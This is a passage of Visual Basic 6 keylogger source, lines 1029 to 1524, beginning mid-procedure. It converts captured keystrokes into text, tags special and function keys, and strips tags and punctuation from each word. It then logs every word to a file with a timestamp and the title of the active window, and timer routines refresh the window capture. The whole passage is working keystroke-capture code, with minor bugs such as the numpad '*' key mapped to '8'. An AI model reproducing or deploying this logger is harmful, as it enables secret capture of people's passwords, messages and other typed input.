  1029.             word = Left(word, VarLength - 1)
  1030.         Case Is = "("
  1031.             VarLength = Len(word)
  1032.             word = Left(word, VarLength - 1)
  1033.         Case Is = "*"
  1034.             VarLength = Len(word)
  1035.             word = Left(word, VarLength - 1)
  1036.         Case Is = "&"
  1037.             VarLength = Len(word)
  1038.             word = Left(word, VarLength - 1)
  1039.         Case Is = "^"
  1040.             VarLength = Len(word)
  1041.             word = Left(word, VarLength - 1)
  1042.         Case Is = "%"
  1043.             VarLength = Len(word)
  1044.             word = Left(word, VarLength - 1)
  1045.         Case Is = "$"
  1046.             VarLength = Len(word)
  1047.             word = Left(word, VarLength - 1)
  1048.         Case Is = "#"
  1049.             VarLength = Len(word)
  1050.             word = Left(word, VarLength - 1)
  1051.         Case Is = "@"
  1052.             VarLength = Len(word)
  1053.             word = Left(word, VarLength - 1)
  1054.         Case Is = "~"
  1055.             VarLength = Len(word)
  1056.             word = Left(word, VarLength - 1)
  1057.         Case Is = "`"
  1058.             VarLength = Len(word)
  1059.             word = Left(word, VarLength - 1)
  1060.         End Select
  1061.         Next x
  1062.         If ActionKey = True Then
  1063.         VarLength = Len(word)
  1064.         word = Right(word, VarLength - 2)
  1065.         ActionKey = False
  1066.         End If
  1067.         word = REPLACE2(word, "(f1)", "")
  1068.         word = REPLACE2(word, "(f2)", "")
  1069.         word = REPLACE2(word, "(f3)", "")
  1070.         word = REPLACE2(word, "(f4)", "")
  1071.         word = REPLACE2(word, "(f5)", "")
  1072.         word = REPLACE2(word, "(f6)", "")
  1073.         word = REPLACE2(word, "(f7)", "")
  1074.         word = REPLACE2(word, "(f8)", "")
  1075.         word = REPLACE2(word, "(f9)", "")
  1076.         word = REPLACE2(word, "(f10)", "")
  1077.         word = REPLACE2(word, "(f11)", "")
  1078.         word = REPLACE2(word, "(f12)", "")
  1079.         word = REPLACE2(word, "(enter)", "")
  1080.         word = REPLACE2(word, "(shift)", "")
  1081.         word = REPLACE2(word, "(tab)", "")
  1082.         word = REPLACE2(word, "(caps lock)", "")
  1083.         word = REPLACE2(word, "(delete)", "")
  1084.         word = REPLACE2(word, "(control)", "")
  1085.         word = REPLACE2(word, "(alt)", "")
  1086.         word = REPLACE2(word, "(escape)", "")
  1087.         word = REPLACE2(word, "(insert)", "")
  1088.         word = REPLACE2(word, "(home)", "")
  1089.         word = REPLACE2(word, "(page up)", "")
  1090.         word = REPLACE2(word, "(page down)", "")
  1091.         word = REPLACE2(word, "(num lock)", "")
  1092.         word = REPLACE2(word, "(right arrow)", "")
  1093.         word = REPLACE2(word, "(left arrow)", "")
  1094.         word = REPLACE2(word, "(up arrow)", "")
  1095.         word = REPLACE2(word, "(down arrow)", "")
  1096.         word = REPLACE2(word, vbCrLf, "")
  1097.         If word <> "" Then
  1098.         For x = 1 To 10000
  1099.         If listboxlist(x) = word Then
  1100.         Exit For
  1101.         End If
  1102.         If listboxlist(x) = "" Then
  1103.         listboxlist(x) = word
  1104.         tenlist(x) = word
  1105.         List1.AddItem word
  1106.         record = False
  1107.         Exit For
  1108.         End If
  1109.         Next x
  1110.         Print #1, word & " " & Now & "-" & Wintext
  1111.         End If
  1112.         If NewWord = False Then
  1113.         Label10.Caption = Label10.Caption + 1
  1114.         End If
  1115.         Text1 = Text1 + " "
  1116.         ing = 10
  1117.         Close #1
  1118.         Exit Sub
  1119.     ElseIf Colon Then
  1120.         ActionKey = False
  1121.         If alpha = True Then
  1122.         If UPcase = False Then
  1123.         Text1 = Text1 + ";"
  1124.         Exit Sub
  1125.         End If
  1126.         If UPcase = True Then
  1127.         Text1 = Text1 + ":"
  1128.         UPcase = False
  1129.         Exit Sub
  1130.         End If
  1131.         End If
  1132.     ElseIf Slash Then
  1133.         ActionKey = False
  1134.         If alpha = True Then
  1135.         If UPcase = False Then
  1136.         Text1 = Text1 + "/"
  1137.         Exit Sub
  1138.         End If
  1139.         If UPcase = True Then
  1140.         Text1 = Text1 + "?"
  1141.         UPcase = False
  1142.         Exit Sub
  1143.         End If
  1144.         Exit Sub
  1145.         End If
  1146.     ElseIf Shift Then
  1147.         If shiftpress = True Then
  1148.         ActionKey = True
  1149.         Text1 = Text1 + " (Shift) "
  1150.         End If
  1151.         UPcase = True
  1152.     ElseIf bTab Then
  1153.         If action = True Then
  1154.         ActionKey = True
  1155.         Text1 = Text1 & vbCrLf & "(Tab) " & vbCrLf
  1156.         End If
  1157.     ElseIf Control Then
  1158.         If action = True Then
  1159.         ActionKey = True
  1160.         Text1 = Text1 & vbCrLf & "(Control) " & vbCrLf
  1161.         End If
  1162.     ElseIf Escape Then
  1163.         If action = True Then
  1164.         ActionKey = True
  1165.         Text1 = Text1 & vbCrLf + "(Escape) " + vbCrLf
  1166.         End If
  1167.     ElseIf CapsLock Then
  1168.         If action = True Then
  1169.         ActionKey = True
  1170.         Text1 = Text1 & vbCrLf + "(Caps Lock) " & vbCrLf
  1171.         End If
  1172.     ElseIf Alt Then
  1173.         If action = True Then
  1174.         ActionKey = True
  1175.         Text1 = Text1 & vbCrLf + "(Alt) " & vbCrLf
  1176.         End If
  1177.     ElseIf Delete Then
  1178.         If action = True Then
  1179.         ActionKey = True
  1180.         Text1 = Text1 & vbCrLf + "(Delete) " & vbCrLf
  1181.         End If
  1182.     ElseIf Insert Then
  1183.         If action = True Then
  1184.         ActionKey = True
  1185.         Text1 = Text1 & vbCrLf + "(Insert) " & vbCrLf
  1186.         End If
  1187.     ElseIf BackSpace Then
  1188.         Dim lengthB As String
  1189.         lengthB = Len(Text1)
  1190.         On Error Resume Next
  1191.         Text1 = Left(Text1, length - 1)
  1192.     ElseIf Home Then
  1193.         If action = True Then
  1194.         ActionKey = True
  1195.         Text1 = Text1 & vbCrLf + "(Home) " & vbCrLf
  1196.         End If
  1197.     ElseIf bEnd Then
  1198.         If action = True Then
  1199.         ActionKey = True
  1200.         Text1 = Text1 & vbCrLf + "(End) " & vbCrLf
  1201.         End If
  1202.     ElseIf PgUp Then
  1203.         If action = True Then
  1204.         ActionKey = True
  1205.         Text1 = Text1 & vbCrLf + "(Page Up) " & vbCrLf
  1206.         End If
  1207.     ElseIf PgDown Then
  1208.         If action = True Then
  1209.         ActionKey = True
  1210.         Text1 = Text1 & vbCrLf + "(Page Down) " & vbCrLf
  1211.         End If
  1212.     ElseIf NumLock Then
  1213.         If action = True Then
  1214.         ActionKey = True
  1215.         Text1 = Text1 & vbCrLf + "(Num Lock) " & vbCrLf
  1216.         End If
  1217.     ElseIf ScrollLock Then
  1218.         If action = True Then
  1219.         ActionKey = True
  1220.         Text1 = Text1 & vbCrLf + "(Scroll Lock) " & vbCrLf
  1221.         End If
  1222.     ElseIf UpArrow Then
  1223.         If action = True Then
  1224.         ActionKey = True
  1225.         Text1 = Text1 & vbCrLf + "(Up Arrow) " & vbCrLf
  1226.         End If
  1227.     ElseIf DownArrow Then
  1228.         If action = True Then
  1229.         ActionKey = True
  1230.         Text1 = Text1 & vbCrLf + "(Down Arrow) " & vbCrLf
  1231.         End If
  1232.     ElseIf LeftArrow Then
  1233.         If action = True Then
  1234.         ActionKey = True
  1235.         Text1 = Text1 & vbCrLf + "(Left Arrow) " & vbCrLf
  1236.         End If
  1237.     ElseIf RightArrow Then
  1238.         If action = True Then
  1239.         ActionKey = True
  1240.         Text1 = Text1 & vbCrLf + "(Right Arrow) " & vbCrLf
  1241.         End If
  1242.     ElseIf NumPad0 Then
  1243.         ActionKey = False
  1244.         If alpha = True Then
  1245.         Text1 = Text1 + "0"
  1246.         End If
  1247.     ElseIf NumPad1 Then
  1248.         ActionKey = False
  1249.         If alpha = True Then
  1250.         Text1 = Text1 + "1"
  1251.         End If
  1252.     ElseIf NumPad2 Then
  1253.         ActionKey = False
  1254.         If alpha = True Then
  1255.         Text1 = Text1 + "2"
  1256.         End If
  1257.     ElseIf NumPad3 Then
  1258.         ActionKey = False
  1259.         If alpha = True Then
  1260.         Text1 = Text1 + "3"
  1261.         End If
  1262.     ElseIf NumPad4 Then
  1263.         ActionKey = False
  1264.         If alpha = True Then
  1265.         Text1 = Text1 + "4"
  1266.         End If
  1267.     ElseIf NumPad5 Then
  1268.         ActionKey = False
  1269.         If alpha = True Then
  1270.         Text1 = Text1 + "5"
  1271.         End If
  1272.     ElseIf NumPad6 Then
  1273.         ActionKey = False
  1274.         If alpha = True Then
  1275.         Text1 = Text1 + "6"
  1276.         End If
  1277.     ElseIf NumPad7 Then
  1278.         ActionKey = False
  1279.         If alpha = True Then
  1280.         Text1 = Text1 + "7"
  1281.         End If
  1282.     ElseIf NumPad8 Then
  1283.         ActionKey = False
  1284.         If alpha = True Then
  1285.         Text1 = Text1 + "8"
  1286.         End If
  1287.     ElseIf NumPad9 Then
  1288.         ActionKey = False
  1289.         If alpha = True Then
  1290.         Text1 = Text1 + "9"
  1291.         End If
  1292.     ElseIf Pause Then
  1293.         If action = True Then
  1294.         ActionKey = True
  1295.         Text1 = "(Pause) " + Text1
  1296.         End If
  1297.     ElseIf F1 Then
  1298.         If action = True Then
  1299.         ActionKey = True
  1300.         Text1 = Text1 + "(F1) " & vbCrLf
  1301.         End If
  1302.     ElseIf F2 Then
  1303.         If action = True Then
  1304.         ActionKey = True
  1305.         Text1 = Text1 + "(F2) " & vbCrLf
  1306.         End If
  1307.     ElseIf F3 Then
  1308.         If action = True Then
  1309.         ActionKey = True
  1310.         Text1 = Text1 + "(F3) " & vbCrLf
  1311.         End If
  1312.     ElseIf F4 Then
  1313.         If action = True Then
  1314.         ActionKey = True
  1315.         Text1 = Text1 + "(F4) " & vbCrLf
  1316.         End If
  1317.     ElseIf F5 Then
  1318.         If action = True Then
  1319.         ActionKey = True
  1320.         Text1 = Text1 + "(F5) " & vbCrLf
  1321.         End If
  1322.     ElseIf F6 Then
  1323.         If action = True Then
  1324.         ActionKey = True
  1325.         Text1 = Text1 + "(F6) " & vbCrLf
  1326.         End If
  1327.     ElseIf F7 Then
  1328.         If action = True Then
  1329.         ActionKey = True
  1330.         Text1 = Text1 + "(F7) " & vbCrLf
  1331.         End If
  1332.     ElseIf F8 Then
  1333.         If action = True Then
  1334.         ActionKey = True
  1335.         Text1 = Text1 + "(F8) " & vbCrLf
  1336.         End If
  1337.     ElseIf F9 Then
  1338.         If action = True Then
  1339.         ActionKey = True
  1340.         Text1 = Text1 + "(F9)" & vbCrLf
  1341.         End If
  1342.     ElseIf F10 Then
  1343.         If action = True Then
  1344.         ActionKey = True
  1345.         Text1 = Text1 + "(F10) " & vbCrLf
  1346.         End If
  1347.     ElseIf F11 Then
  1348.         If action = True Then
  1349.         ActionKey = True
  1350.         Text1 = Text1 + "(F11) " & vbCrLf
  1351.         End If
  1352.     ElseIf F12 Then
  1353.         If action = True Then
  1354.         ActionKey = True
  1355.         Text1 = Text1 + "(F12) " & vbCrLf
  1356.         End If
  1357.     ElseIf NumEnter Then
  1358.         If action = True Then
  1359.         ActionKey = True
  1360.         Text1 = "(Enter)" + Text1
  1361.         End If
  1362.     ElseIf Apostraphie Then
  1363.         ActionKey = False
  1364.         If alpha = True Then
  1365.         If UPcase = False Then
  1366.         Text1 = Text1 + "'"
  1367.         Exit Sub
  1368.         End If
  1369.         If UPcase = True Then
  1370.         Text1 = Text1 + """"
  1371.         UPcase = False
  1372.         Exit Sub
  1373.         End If
  1374.         End If
  1375.     ElseIf OpenBracket Then
  1376.         ActionKey = False
  1377.         If alpha = True Then
  1378.         If UPcase = False Then
  1379.         Text1 = Text1 + "["
  1380.         Exit Sub
  1381.         End If
  1382.         If UPcase = True Then
  1383.         Text1 = Text1 + "{"
  1384.         UPcase = False
  1385.         Exit Sub
  1386.         End If
  1387.         End If
  1388.     ElseIf CloseBracket Then
  1389.         ActionKey = False
  1390.         If alpha = True Then
  1391.         If UPcase = False Then
  1392.         Text1 = Text1 + "]"
  1393.         Exit Sub
  1394.         End If
  1395.         If UPcase = True Then
  1396.         Text1 = Text1 + "}"
  1397.         UPcase = False
  1398.         Exit Sub
  1399.         End If
  1400.         End If
  1401.     ElseIf BackSlash Then
  1402.         ActionKey = False
  1403.         If alpha = True Then
  1404.         If UPcase = False Then
  1405.         Text1 = Text1 + "\"
  1406.         Exit Sub
  1407.         End If
  1408.         If UPcase = True Then
  1409.         Text1 = Text1 + "|"
  1410.         UPcase = False
  1411.         Exit Sub
  1412.         End If
  1413.         End If
  1414.     ElseIf Equals Then
  1415.         ActionKey = False
  1416.         If alpha = True Then
  1417.         If UPcase = False Then
  1418.         Text1 = Text1 + "="
  1419.         Exit Sub
  1420.         End If
  1421.         If UPcase = True Then
  1422.         Text1 = Text1 + "+"
  1423.         UPcase = False
  1424.         Exit Sub
  1425.         End If
  1426.         End If
  1427.     ElseIf Minus1 Then
  1428.         ActionKey = False
  1429.         If alpha = True Then
  1430.         If UPcase = False Then
  1431.         Text1 = Text1 + "-"
  1432.         Exit Sub
  1433.         End If
  1434.         If UPcase = True Then
  1435.         Text1 = Text1 + "_"
  1436.         UPcase = False
  1437.         Exit Sub
  1438.         End If
  1439.         End If
  1440.     ElseIf Apostraphie2 Then
  1441.         ActionKey = False
  1442.         If alpha = True Then
  1443.         If UPcase = False Then
  1444.         Text1 = Text1 + "`"
  1445.         Exit Sub
  1446.         End If
  1447.         If UPcase = True Then
  1448.         Text1 = Text1 + "~"
  1449.         UPcase = False
  1450.         Exit Sub
  1451.         End If
  1452.         End If
  1453.     ElseIf NumPlus Then
  1454.         ActionKey = False
  1455.         If alpha = True Then
  1456.         Text1 = Text1 + "+"
  1457.         End If
  1458.     ElseIf NumDivide Then
  1459.         ActionKey = False
  1460.         If alpha = True Then
  1461.         Text1 = Text1 + "/"
  1462.         End If
  1463.     ElseIf NumTimes Then
  1464.         ActionKey = False
  1465.         If alpha = True Then
  1466.         Text1 = Text1 + "8"
  1467.         End If
  1468.     ElseIf NumMinus Then
  1469.         ActionKey = False
  1470.         If alpha = True Then
  1471.         Text1 = Text1 + "-"
  1472.         End If
  1473.     ElseIf NumPeriod Then
  1474.         ActionKey = False
  1475.         If alpha = True Then
  1476.         Text1 = Text1 + "."
  1477.         End If
  1478.     End If
  1479.     End If
  1480. End Sub
  1481. Private Sub Timer2_Timer()
  1482. If label_8 < Label8.Caption Then
  1483. If ActionKey <> True Then
  1484. End If
  1485. End If
  1486. If Check1.Value = Checked Then shiftpress = True Else shiftpress = False
  1487. Label6.Caption = Now
  1488. If Check4.Value = Checked Then
  1489. Timer1.Enabled = True
  1490. Else: Timer1.Enabled = False
  1491. End If
  1492. getwindow
  1493. label_8 = Label8.Caption
  1494. End Sub
  1495. Private Sub Timer3_Timer()
  1496.     ing = ing + 1
  1497.     Debug.Print ing
  1498.     If ing > 200 Then
  1499.     ing = 10
  1500.     If record = True Then
  1501.     NewWord = True
  1502.     Label10.Caption = Label10.Caption + 1
  1503.     record = False
  1504.     End If
  1505.     Else: NewWord = False
  1506.     End If
  1507. End Sub
  1508. Private Function REPLACE2(sText As String, sFind As String, sReplace As String) As String
  1509.     Dim n%, c%
  1510.     Dim sTempR$, sTempL$
  1511.     c = 1
  1512.     n = 1
  1513.     Do
  1514.         c = InStr(n, sText, sFind)
  1515.         If c% <> 0 Then
  1516.             sTempL = Mid$(sText, 1, c - 1)
  1517.             sTempR = Mid$(sText, c + Len(sFind))
  1518.             sText = sTempL & sReplace & sTempR
  1519.         End If
  1520.         n = c + 1
  1521.     Loop Until c = 0
  1522.     REPLACE2 = sText
  1523. End Function
  1524.